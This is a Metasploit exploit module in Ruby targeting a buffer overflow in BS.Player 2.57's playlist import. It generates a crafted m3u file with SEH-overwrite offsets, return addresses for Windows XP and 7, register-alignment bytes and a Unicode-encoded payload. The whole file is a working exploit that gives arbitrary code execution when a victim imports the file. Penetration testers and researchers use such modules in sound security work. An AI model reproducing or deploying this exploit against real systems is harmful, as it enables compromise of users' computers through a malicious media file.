1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',
17
        'Description' => %q{
18
          This module exploits a buffer overflow in BS.Player 2.57. When
19
          the playlist import is used to import a specially crafted m3u file,
20
          a buffer overflow occurs allowing arbitrary code execution.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'C4SS!0 G0M3S ', # Original Exploit
25
          'Chris Gabriel', # MSF Module
26
          # Greets: Corelan team for mona.py & awesome tutorials
27
        ],
28
        'References' => [
29
          [ 'CVE', '2010-10016' ],
30
          [ 'OSVDB', '82528' ],
31
          [ 'EDB', '15934' ]
32
        ],
33
        'DefaultOptions' => {
34
          'EXITFUNC' => 'process',
35
          # 'InitialAutoRunScript' => 'migrate -f',
36
        },
37
        'Platform' => 'win',
38
        'Payload' => {
39
          'Space' => 2000,
40
          'BadChars' => "\x00\x0a\x0d\x1a\x80",
41
          'DisableNops' => true,
42
          'StackAdjustment' => -3500,
43
        },
44

45
        'Targets' => [
46
          [
47
            'Windows XP',
48
            {
49
              # pop ecx # pop ebp # ret 0c
50
              # ASLR: False, Rebase: False, SafeSEH: False
51
              # v2.5.7.1051 (bsplayer.exe)
52
              'Ret' => "\x2f\x49",
53
              'Offset' => 4102,
54
              'Padding' => 1879
55
            }
56
          ],
57
          [
58
            'Windows 7',
59
            {
60
              # pop ecx # pop ebp # ret 0c
61
              # ASLR: False, Rebase: False, SafeSEH: False
62
              # v2.5.7.1051 (bsplayer.exe)
63
              'Ret' => "\x2f\x49",
64
              'Offset' => 4102,
65
              'Padding' => 1931
66
            }
67
          ],
68
        ],
69
        'Privileged' => false,
70
        'DisclosureDate' => '2010-01-07',
71
        'DefaultTarget' => 0,
72
        'Notes' => {
73
          'Reliability' => UNKNOWN_RELIABILITY,
74
          'Stability' => UNKNOWN_STABILITY,
75
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
76
        }
77
      )
78
    )
79

80
    register_options(
81
      [
82
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
83
      ]
84
    )
85
  end
86

87
  def exploit
88
    nseh = "\x61\x42"
89

90
    align = ''
91
    align << "\x58"	# POP EAX
92
    align << "\x6d"	# PAD
93
    align << "\x58"	# POP EAX
94
    align << "\x6d"	# PAD
95
    align << "\x58"	# POP EAX
96
    align << "\x6d"	# PAD
97
    align << "\x58"	# POP EAX
98
    align << "\x6d"	# PAD
99
    align << "\x58"	# POP EAX
100
    align << "\x6d"	# PAD
101
    align << "\x58"	# POP EAX
102
    align << "\x6d"	# PAD
103
    align << "\x58"	# POP EAX
104
    align << "\x6d"	# PAD
105
    align << "\x58"	# POP EAX
106
    align << "\x6d"	# PAD
107
    align << "\x58"	# POP EAX
108
    align << "\x6d"	# PAD
109
    align << "\x58"	# POP EAX
110
    align << "\x6d"	# PAD
111
    align << "\x58"	# POP EAX
112
    align << "\x6d"	# PAD
113
    align << "\x58"	# POP EAX
114
    align << "\x6d"	# PAD
115
    align << "\x58"	# POP EAX
116
    align << "\x6d"	# PAD
117
    align << "\x50"	# PUSH EAX
118
    align << "\x6d"	# PAD
119
    align << "\xc3"	# RET
120

121
    enc = framework.encoders.create('x86/unicode_mixed')
122
    register_to_align_to = "EAX"
123
    enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
124
    unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
125

126
    padding = rand_text_alpha_lower(target['Padding'])
127

128
    buffer = "http://"
129
    buffer << rand_text_alpha_lower(target['Offset'])
130
    buffer << nseh
131
    buffer << target['Ret']
132
    buffer << align
133
    buffer << padding
134
    buffer << unicodepayload
135

136
    file_create(buffer)
137
  end
138
end
139

140